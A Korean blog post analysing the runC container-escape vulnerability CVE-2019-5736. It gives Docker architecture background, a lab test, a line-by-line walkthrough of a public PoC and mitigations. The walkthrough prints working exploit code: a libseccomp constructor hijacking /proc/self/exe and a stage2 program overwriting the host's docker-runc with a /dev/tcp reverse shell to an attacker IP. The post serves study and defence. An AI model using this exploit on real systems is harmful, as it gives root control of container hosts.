tmxklab

Docker Container Escape(CVE-2019-5736, runC취약점) 본문

1-Day Analysis/04 ETC

Docker Container Escape(CVE-2019-5736, runC취약점)

tmxk4221 2021. 2. 16. 17:22

0. 목차

 

 


1. 개요

1.1 취약점 개요

2019년 2월 11일에 도커 컨테이너를 생성하고 실행하기 위해 설계된 컨테이너 런타임 CLI툴인 runC에서 취약점이 발표되었다.( CVE-2019-5736) 해당 취약점은 /proc/self/exe와 관련된 파일 디스크립터를 적절하게 처리하지 못하여 발생하며 이를 통해 컨테이너 내부에서 루트 권한으로 악의적인 프로세스를 실행할 경우 호스트의 runC바이너리를 덮어 최종적으로 컨테이너를 실행하는 호스트에 대한 루트 권한을 탈취하는 취약점이다. (Docker Container Escape)

runC는 Docker, Kubernetes 등 대부분의 컨테이너 기반 가상화 서비스에서 사용되며, 전체 컨테이너 호스트에 영향을 미쳐 영향력이 큰 취약점으로 주목을 받았다. 즉, 서버에서 여러 개의 컨테이너를 운영할 경우 해당 취약점을 통해 서버에 대한 접근 및 다른 컨테이너에 대한 접근이 가능해진다.

(위에서도 언급했듯이 해당 취약점을 트리거하기 위해서는 컨테이너 내부에 루트 권한이 있어야 한다. 왜냐하면 runC바이너리 파일을 실행시키기 위해서는 root권한이 필요로 하기 때문이다.)

 

영향받는 소프트웨어 버전

S/W Version
Docker CE(Community) 18.06.218.09.2 이전 버전
Docker EE(Enterprise) 17.06.2-ee-19 이전버전18.03.1-ee-618.09.2

 

1.2 배경지식

해당 취약점과 관련해서 필요한 배경지식이 필요할 것 같아서 정리하게 되었다. 초반에는 도커와 컨테이너 기술 및 아키텍쳐에 대해서 알아보고 해당 취약점이 발생하게 되는 원인에 대해서 알아본다.

 

1) 도커(Docker)

도커(Docker)는 리눅스 컨테이너 기반으로 만들어진 오픈소스 가상화 플랫폼이다. 도커는 소프트웨어를 컨테이너라는 표준화된 유닛으로 패키징할 수 있으며 이를 통해 애플리케이션을 신속하게 구축하고 배포할 수 있게 도와준다.

 

2) 컨테이너(Container)

컨테이너(Container)는 도커의 이미지가 실행되어 격리된 공간에서 프로세스가 동작하는 기술이다. 즉, 프로세스가 사용하는 자원을 격리한다고 이해하면 된다. 도커가 등장하기 이전에 리눅스에서 cgroupnamespace를 이용한 LXC(Linux Container)가 있었으며 도커는 이를 기반으로 격리된 환경 즉, 컨테이너를 실행할 때 내부적으로 cgroupnamespace등의 Linux Kernel기술이 사용된다.

 

namespace : namespace란 하나의 시스템에서 프로세스를 격리시킬 수 있는 가상화 기술이다. VM에서는 각 게스트 머신별로 독립적인 공간을 제공하여 서로 충돌하지 않도록 하는 기능을 갖고 있다. 리눅스에서 이와 동일한 역할을 수행하는 것이 커널에 내장된 namespace이다. VM과 비교하자면 VM에서 Hypervisor는 각 Guest OS마다 Hardware Resource를 가상화하여 Guest OS별로 완전히 다른 환경으로 분리되지만 namespace의 경우 Hardware Resource레벨의 가상화가 아닌 Linux 내의 자원을 가상화하여 동일한 kernel에서 격리된 환경을 제공한다. 리눅스 커널에서 제공하는 namespace로는 다음 6가지 존재한다.

  • mnt(파일시스템 마운트) : 독립적으로 파일 시스템 마운트 및 언마운트
  • pid(프로세스) : 독립적인 프로세스 공간 할당
  • net(네트워크) : name space간에 network 충돌 방지
  • ipc(SystemV IPC) : 프로세스간의 독립적인 IPC 할당
  • uts(hostname) : 독립적인 host name 할당
  • user(UID) : 독립적인 사용자 할당

 

cgroup : Control Group의 약자로 프로세스들이 사용할 수 있는 컴퓨팅 자원들을 할당, 격리 및 제한할 수 있는 Linux Kernel의 기능이다. cgroup는 다음 자원을 제어할 수 있다.

  • 메모리
  • CPU
  • I/O
  • 네트워크
  • device 노드(/dev/)

 

 

요약)

namespace는 자원을 격리하여 독립된 공간을 만들며 cgroup은 격리된 공간에서 자원을 제어할 수 있다. 이러한 기능들을 통해 동일한 Kernel내에서 프로세스 별로 가상화가 이루어진다.

 

과거에 Docker는 이러한 기술들을 사용하기 위해 LXC(Linux Container)libvirt같은 중간 매개체를 통해 간접적으로 Kernel의 가상화 기술을 사용하였다. 하지만, 이러한 외부 솔루션에 의존하다보니 cgroupnamespace 등을 다루는 방법이 시스템마다 다를 수 있으며 Linux Kernel 버전에 따라 계속 변할 수 있는 문제점이 존재했다.

Docker는 이러한 Kernel의 가상화 기술을 다루기 위한 Interface를 자체적으로 개발 및 관리해야할 필요성이 생겨 libcontainer를 개발하게 되었다. 이후에 Docker 1.11버전 이후에는 libcontainer는 refactoring과정을 거쳐 container runtime인 runC라는 자체 구현물을 가지게 되었다.

 

요약)

Docker는 컨테이너 별로 독립적인 공간을 갖도록 Linux Kernel의 가상화 기술인 cgroups, namespaces, 등을 이용한다. 이러한 기술을 사용하기 위해서 중간 매개체(interface)인 LXC(Linux Container)libvirt 등을 이용하였는데 외부 솔루션에 의존적인 문제점 때문에 자체적으로 libcontainer를 만들었으며 이후에 libcontainer에서 리팩토링을 거쳐 container runtime인 runC를 구현하게 된다.

추가로 container관련 기술을 다루는 interface를 표준화되어 있는데 이 표준을 OCI(Open Container Initiative)라고 한다. 즉, LXC, libcontainer, runC등은 cgroups, namespaces를 표준으로 정의해둔 OCI스펙을 구현한 컨테이너 기술의 구현체이다.

 

3) namespace 확인

아무 도커 이미지를 빌드하고 컨테이너를 실행시켜보자

  • 컨테이너 ID : 1c377cdf5aa2
  • 컨테이너 name : cvetest

 

  • root계정으로 전환 후 /var/run/docker/runtime-runc/moby로 이동
  • docker container id로 만들어진 디렉토리 확인

 

  • 해당 디렉토리로 이동하면 state.json파일을 확인할 수 있음
  • jq를 설치한 후 해당 컨테이너가 실행 중인 프로세스를 확인 → 3773

 

  • pid가 3773인 프로세스의 네임 스페이스와 pid가 1인 네임 스페이스를 비교해보면 일부 다른 것을 확인할 수 있다. 이를 통해 독립된 애플리케이션 환경이라는 것을 알 수 있다.

 

4) Docker Architecture

출처 :
https://docs.docker.com/get-started/overview/

Docker는 클라이언트-서버 아키텍쳐를 사용하며 클라이언트 측에서 docker관련 명령어를 서버에게 보낸다. 서버 역할을 하는 Docker daemon은 클라이언트 측에서 받은 명령을 처리하며 이 때, 클라이언트와 서버 간에는 REST API를 사용하여 통신을 한다. 전반적인 구조는 위 그림을 보면 이해하기 쉬울 것이다. 이제 docker관련 명령어를 처리하기 위해서 내부에서 어떠한 상호작용을 하는지 살펴보자

 

현재 docker는 1.11버전부터 아래와 같은 구조로 작동하고 있다.

Docker Engine : docker명령 혹은 REST API를 이용해서 Docker Engine에 컨테이너 명령을 전송하는 역할을 한다. 즉, 유저와 interacts하는 부분이다. docker engine이라는 명칭이 추상적이어서 잘 와닿지 않았는데 Docker docs에 의하면 client & server(docker daemon)application을 통틀어 docker engine이라고 부른다. 그리고 실제로 docker daemon로 구현된 바이너리 파일은 dockerd이다.

dockerd는 client로부터 REST API형식의 요청을 수신하여 다시 gRPC통신을 통해 데몬 프로세스인 containerd에게 전달된다.

 

containerd : 기본적으로 구동되는 daemon process는 dockerd와 containerd이다. containerd는 container의 lifecycle을 관리하는 역할을 하며 실제 컨테이너를 실행하고 삭제하는 등의 일을 한다. 그리고 containerd는 container의 관리를 위해 runC를 사용하게 된다. 여기서 containerd로 구현된 바이너리 파일은 docker-containerd이다.

 

containerd-shim : containerd는 exec을 통해 containerd-shim을 자식 프로세스로 생성하게 된다. containerd-shim은 runC를 사용해 컨테이너를 생성하며 runC가 정상적으로 실행되어 종료되어도 containerd-shim은 그대로 살아있는다. 그리고 container내에서 실행되는 process들의 부모가 된다. containerd-shim이 존재하는 이유는 container하나를 생성한 이후에도 계속 수행되는 runtime daemon이 존재할 필요가 없기 때문이다. 즉, runC가 수행되고 종료되어도 container를 계속 유지시켜주며 docker daemon들의 장애가 발생해도 container까지 전파되지 않도록 해주는 역할을 한다. 여기서 containerd-shim으로 구현된 바이너리 파일은 docker-containerd-shim이다.

 

runC : runC는 OCI를 준수하며 컨테이너를 실행하는 container runtime 툴이다. 즉, 앞서 언급했던 커널에서 제공해주는 cgroup, namespace 등의 기술을 사용하여 실질적으로 container의 생성 및 실행 등을 한다. 여기서 runC로 구현된 바이너리 파일은 docker-runc이다.

 

요약)

클라이언트 측에서 docker관련 명령어를 REST API를 사용하여 서버 측인 docker daemon(dockerd)에게 전달되고 다시 docker daemongRPC통신을 통해 containerd(docker-containerd)에게 전달한다. containerd는 자식 프로세스로 containerd-shim(docker-containerd-shim)생성하고 container의 관리를 위해 컨테이너 런타임 툴인 runC를 사용한다. 실질적으로 container의 생성 및 실행은 runC를 사용하며 성공적으로 실행하면 종료된다.

 

추가)

docker run 수행시 —init 옵션이 주어지지 않을 경우 contianer내에서 init process를 별도로 기동하지 않으며 run 수행시 넘겨준 command가 그대로 1번 process가 된다.

 

이제 이 정도면 배경 지식은 충분하므로 poc코드 테스트와 상세분석을 통해 해당 취약점을 살펴보자


2. 테스트

2.1 테스트 환경 구축

테스트 환경)

  • 희생자 : Ubuntu 18.04 64bit, Docker-ce 18.06.1-ce
  • 공격자 : Ubuntu 16.04 64bit

공격자를 Ubuntu 16.04로 한 이유는 딱히 없고.. 원래 워게임 풀면서 18.04랑 16.04를 VM에 올려놓은 상태였으며 용량이 부족해서 뭔가를 더 올려놓기 싫어서 그냥 16.04로 하였다.

 

1) 테스트 환경 구축 (희생자 PC)

$sudo apt-get update
$sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
$curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
$sudo add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
$sudo apt-get update
$sudo apt-cache madison docker-ce
$apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

 

도커 설치가 완료되면 다음과 같이 명령어를 실행하여 docker그룹에 해당 유저를 추가한다.

$sudo usermod -aG docker <User name>

이를 통해 일반 유저에 Docker를 실행할 수 있는 권한을 부여한다.

 

확인)

 

 

2.2 POC 테스트

1) 공개된 POC코드 다운로드

git clone https://github.com/agppp/cve-2019-5736-poc

다운받게 되면 테스트 진행을 위해 필요한 파일들을 확인할 수 있다.

 

2) 일부 코드 수정

2-1) run.sh

Dockerfile에 Docker이미지를 생성할 때 사용할 패키지 중에 libseccmp source 파일을 다운받는 것을 알 수 있다.

FROM ubuntu:18.04

RUN set -e -x ;\
    sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;\
    apt -y update ;\
    apt-get -y install build-essential ;\
    cd /root ;\
    apt-get -y build-dep libseccomp ;\
    apt-get source libseccomp

ADD stage1.c /root/stage1.c
ADD stage2.c /root/stage2.c
ADD run.sh  /root/run.sh
RUN set -e -x ;\
    chmod 777 /root/run.sh

 

이후에 테스트 진행을 위해 컨테이너 내부에서 run.sh스크립트를 실행시킬 때 다운받은 libseccomp버전을 올바르게 작성해야 한다. 따라서, libseccomp버전 정보를 먼저 확인해보자

현재 테스트를 진행한 시점에서 libseccomp버전 정보는 2.4.3임을 알 수 있다.

 

libseccomp 2.4.3으로 변경해주자

 

2-2) stage2.c

공격자 ip주소 확인

 

stage2.c에서 필요한 헤더 추가 및 공격자 IP주소로 변경

 

3) Build Docker Image & Create Container

3-1) Build Docker Image

$docker build -t cve .
  • Dockerfile이 위치한 디렉터리로 이동하여 위 명령어를 실행한다.
  • 위 명령어는 Dockerfile을 통해 Docker Image를 생성하는 명령어이다.
    • format : docker build -t [생성할 이미지명]

 

결과)

  • docker images 명령어를 통해 이미지가 만들어진 것을 확인

 

3-2) Create Container

$docker run -t -d --name cvetest cve
  • Docker Iamge 생성 후 Image 식별자를 통해 Container를 생성해준다.
  • format : docker run [OPTIONS] [이미지 이름, ID] [COMMAND] [ARG...]
    • -d : detached모드에서 실행, 컨테이너가 백그라운드에서 실행
    • —name : 컨테이너 ID를 사용하면 읽거나 기억하기 어려우므로 해당 옵션을 통해 컨테이너 이름 부여

 

결과)

  • docker ps -a 명령어를 통해 컨테이너가 생성된 것을 확인

 

3-3) Backup docker-runc

$sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
  • 테스트 진행 후 docker-runc파일이 덮어씌어지므로 미리 백업해둔다.

 

3-4) Execute "run.sh"

$docker exec -it cvetest /bin/sh
$cd /root && ./run.sh && exit
  • 위 명령어를 통해 생성된 컨테이너 이름을 통해 컨테이너에 접근한다.

 

결과)

  • 컨테이너에 접근해보면 Dockerfile에 의해 /root디렉터리에 테스트에 필요한 파일들이 옮겨져 있는 것을 확인할 수 있다. 이후에 run.sh를 실행하고 컨테이너에 빠져나오자

 

3-5) 공격자 nc로 4455 port 오픈 및 변경된 docker-runc 실행

  • 공격자 PC에서 nc -nlvvp 4455 명령어를 통해 listen모드로 4455 port 오픈

 

  • 희생자 PC에서 다시 한번 docker exec -it cvetest /bin/bash 명령어 실행
  • 위 출력 값을 통해 stage1, stage2 바이너리 파일이 실행되는 것을 확인

 

결과)

  • 최종적으로 공격자 PC에서 희생자 PC의 호스트 시스템에 루트 권한을 갖고 접근할 수 있게 된다.

 

  • 희생자 PC의 docker-runc파일을 확인해보면 stage2에 의해 바이너리 파일이 위와 같이 쉘 스크립트로 변경된 것을 확인할 수 있다.

 


3. 상세 분석

poc코드를 통해 테스트한 결과 희생자인 호스트 서버에서 악성 컨테이너를 수행하게 되면 docker-runc가 변조되며 공격자는 호스트 서버에 루트 권한을 갖고 접근할 수 있게 된다. 해당 취약점을 통해 트리거될 수 있었던 이유는 /proc/self/exe와 관련된 파일 디스크립터를 적절하게 처리하지 못해 발생하게 된다.

 

procfs(프로세스 파일 시스템)

  • proc filesystem(프로세스 파일 시스템)은 주로 프로세스에 대한 정보를 담은 Linux 가상 파일 시스템
  • 각 실행 중인 프로세스들을 위한 디렉토리는 /proc/[PID]라는 이름을 갖으며 디렉토리에는 프로세스에 대한 정보를 포함하고 있다.
procfs
proc 파일시스템 ( procfs)은 유닉스 계열 운영 체제에서 프로세스와 다른 시스템 정보를 계층적 파일 구조 같은 형식으로 보여주는 특별한 파일시스템으로서, 전통적인 트레이싱 방식이나 커널 메모리로의 간접적인 접근 보다는 더 편리하고 표준적인 방식인 동적으로 커널이 소유하는 프로세스 데이터에 접근하는 방식을 제공한다. 일반적으로 이것은 부트 타임에 /proc 라는 이름의 마운트 포인트에 매핑된다.
https://ko.wikipedia.org/wiki/Procfs
  • 취약점에 관한 내용에는 다음과 같다.
    • /proc/self/exe : 프로세스가 실행하는 실행 파일에 대한 심볼릭 링크
    • /proc/self/fd : 프로세스가 열린 파일 디스크립터를 보유하는 디렉토리
    • /proc/self/exe는 심볼릭 링크로 현재 실행 중인 /bin/ls를 가리키고 있다.

 

이제 poc코드에 사용된 파일들을 순서대로 살펴보자

4.1 Dockerfile

dockerfile은 이미지를 생성할 때 참고하는 내용으로 필요한 패키지를 설치하고 동작하기 위한 설정을 담은 파일이다.

FROM ubuntu:18.04

RUN set -e -x ;\
    sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;\
    apt -y update ;\
    apt-get -y install build-essential ;\
    cd /root ;\
    apt-get -y build-dep libseccomp ;\
    apt-get source libseccomp

ADD stage1.c /root/stage1.c
ADD stage2.c /root/stage2.c
ADD run.sh  /root/run.sh
RUN set -e -x ;\
    chmod 777 /root/run.sh
  • FROM : 베이스 이미지로 ubuntu 18.04로 지정
  • RUN : 기본 라이브러리와 헤더파일을 가지고 있는 build-essential패키지와리눅스 커널의 syscall필터링 기능을 수행하는 libseccomp라이브러리를 다운받는다.
    • 컨테이너는 하나의 프로세스로 시작되어 docker-runc를 덮어쓰기 위해 docker-runc이외의 추가 프로세스가 필요하다. 이 때, 사용하기 좋은 것이 공유 라이브러리이며 docker-runc가 runtime시 여러 공유 라이브러리에 동적으로 링크되는데 libseccomp도 여기에 포함된다.
  • ADD : stage1.c, stage2.c, run.sh 파일을 /root디렉토리로 추가
  • 마지막으로 run.sh파일의 접근권한을 777로 변경시킨다.

 

최종적으로 컨테이너를 실행 후 접속하면 다음과 같이 파일이 존재한다.

 

4.2 run.sh

위에서 dockerfile을 통해 이미지를 만들고 컨테이너를 실행시킨 후 컨테이너에 접속하여 먼저 run.sh라는 쉘 스크립트를 실행하게 된다.

#!/bin/bash
cd /root/libseccomp-2.4.3
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
  • stage1.c파일 내용을 /root/libseccomp-2.4.3/src/api.c에 추가한다.
    • src/api.c 파일 마지막 부분에 stage1.c내용이 추가됨
  • DEB_BUILD_OPTIONS를 통해 데비안 패키지를 다시 빌드하고dpkg -i명령을 통해 /root디렉터리에 존재하는 모든 .deb파일을 통해 해당 파일을 설치한다.
    • 즉, 위 과정에서 libseccomp의 소스 파일인 api.c에 stage1.c내용을 추가로 넣고 다시 libseccomp을 재설치한다.run.sh 실행 전)run.sh 실행 후)
      • 해쉬 값을 통해 변경된 것을 알 수 있다.
  • stage2.c소스 파일을 빌드하고 /bin/bash바이너리 파일을 #!/proc/self/exe로 덮는다.
    • /bin/bash가 변조된 것을 확인할 수 있으며 이후에 /bin/bash를 실행하면 /proc/self/exe 즉, 현재 실행하고 있는 프로세스를 실행하게 된다.

 

4.3 stage1.c

run.sh를 통해 stage1.c는 libseccomp라이브러리의 소스 파일인 api.c에 삽입되었고 libseccomp을 재빌드하였으므로 libseccomp을 사용하게 되면 stage1이 실행된다. 또한, stage1.c는 생성자로서 main보다 먼저 실행되는 특성을 지닌다.

따라서, docker-runc를 실행하게 되면 컨테이너에서 재빌드되었던 공유 라이브러리인 libseccomp을 참조하게 되며 stage1이 실행된다.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
    int fd = open("/proc/self/exe", O_RDONLY);
    if (fd == -1 ) {
        printf("HAX: can't open /proc/self/exe\n");
        return;
    }
    printf("HAX: fd is %d\n", fd);

    char *argv2[3];
    argv2[0] = strdup("/stage2");
    char buf[128];
    snprintf(buf, 128, "/proc/self/fd/%d", fd);
    argv2[1] = buf;
    argv2[2] = 0;
    execve("/stage2", argv2, NULL);
}
  • /proc/self/exe파일을 ReadOnly로 열어 fd값을 구하고 이를 buf에 /proc/self/fd/%d형태로 저장된다.
    • 왜 ReadOnly로 열어 buf에 저런 형태로 저장하는 이유는 아래에 추가로 설명하겠다.
  • 마지막으로 stage2를 실행시킬 때 인자로 buf를 주고 실행한다.

 

순서)

  • 호스트 서버에서 docker exec -it cvetest /bin/bash명령어를 통해 해당 컨테이너에서 /bin/bash를 실행
  • 도커의 컨테이너 런타팀 툴인 docker-runc가 명령어를 전달받아 컨테이너의 /bin/bash를 실행
  • run.sh을 통해 /bin/bash바이너리 파일이 변조되었으며 /bin/bash를 실행시키게 될 경우 /proc/self/exe를 실행
  • /proc/self/exe는 현재 프로세스가 실행하는 실행 파일에 대한 심볼릭 링크이며 이는 호스트 서버의 /usr/bin/docker-runc를 가리킴
  • 최종적으로 docker-runc의 파일 디스크립터를 stage2에게 넘겨줌

 

추가 설명)

이러한 작업은 docker-runc바이너리를 수정하기 위함이며 수정하기 위해서는 docker-runc프로세스가 종료되어야 한다. 하지만 docker-runc프로세스가 종료되면 /proc/[docker-runc-pid]/exe가 사라지므로 docker-runc바이너리를 참조할 수 없으므로 stage1에서는 /proc/self/exe를 ReadOnly로 열어 /usr/bin/docker-runc파일 디스크립터를 생성하여 stage2에 전달한다.

 

 

4.4 stage2.c

stage2에서는 stage1에서 전달받은 파일 디스크립터인 /proc/self/fd/3을 통해 호스트의 docker-runc바이너리 파일 수정을 시도한다. 수정이 완료되는 시점은 docker-runc가 종료되는 시점이다.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>


int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.189.128/4455 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}
  • 전달받은 호스트의 /usr/bin/docker-runc를 가리키는 /proc/self/fd/3을 open하여 fd값을 통해 다시 /usr/bin/docker-runc
  • poc코드로 덮는다.

 

최종적으로 docker-runc에는 공격자 시스템의 IP주소와 port번호로 원격 접속을 허용하게 한다.

 

stage2 실행 전)

 

stage2 실행 후)

 

 


4. 대응 방안

현재는 runC가 패치되어 Docker 명령 실행 시 호스트의 runC가 실행되는 것이 아닌 메모리에 복사된 runC가 실행되도록 적용되었다.

merge branch 'cve-2019-5736' · opencontainers/runc@6635b4f
You can't perform that action at this time. You signed in with another tab or window. You signed out in another tab or window. Reload to refresh your session. Reload to refresh your session.
https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d

따라서, 취약점이 해결된 버전으로 업데이트를 하거나 만일 패치되지 않은 runC를 사용할 때는 다음과 같은 방법을 사용한다.

  • 읽기 전용의 runC 사용
  • Privielged Container 사용하지 않기
  • Docker 컨테이너에서 SELinux 사용
  • 신뢰할 수 없는 이미지 파일 사용 자제

 


5. 참고자료

5.1 runC취약점 관련

 

5.2 docker관련

 

5.3 docker 옵션

 

Comments